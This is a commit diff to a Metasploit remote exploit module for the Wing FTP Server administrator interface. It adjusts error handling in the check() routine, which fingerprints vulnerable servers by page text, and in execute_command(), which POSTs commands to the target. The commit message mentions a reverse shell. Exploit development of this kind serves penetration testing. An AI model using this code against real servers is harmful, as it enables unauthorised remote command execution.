Handle res.nil case in check(). Revert check for res.nil in

execute_command() because it was failing prior to the reverse_shell
connecting.
bug/bundler_fix
Nicholas Nam 2014-08-28 10:57:52 -07:00
parent 0788ce9745
commit 6c90a50e47
1 changed files with 7 additions and 5 deletions

View File

@ -55,7 +55,11 @@ class Metasploit3 < Msf::Exploit::Remote
'method' => 'GET'
})
if res and res.body =~ /Wing FTP Server Administrator/ and res.body =~ /2003-2014 <b>wftpserver.com<\/b>/
if !res
fail_with(Failure::Unreachable, "#{peer} - Vulnerable page was unreachable.")
elsif res.code != 200
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected HTTP Response Code.")
elsif res.body =~ /Wing FTP Server Administrator/ and res.body =~ /2003-2014 <b>wftpserver.com<\/b>/
return Exploit::CheckCode::Appears
end
@ -82,10 +86,8 @@ class Metasploit3 < Msf::Exploit::Remote
'vars_post' => { 'command' => command }
})
if !res
fail_with(Failure::Unreachable, "#{peer} - Vulnerable page was unreachable.")
elsif res.code != 200
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected HTTP Response Code.")
if res and res.code != 200
fail_with(Failure::Unkown, "#{peer} - Something went wrong.")
end
end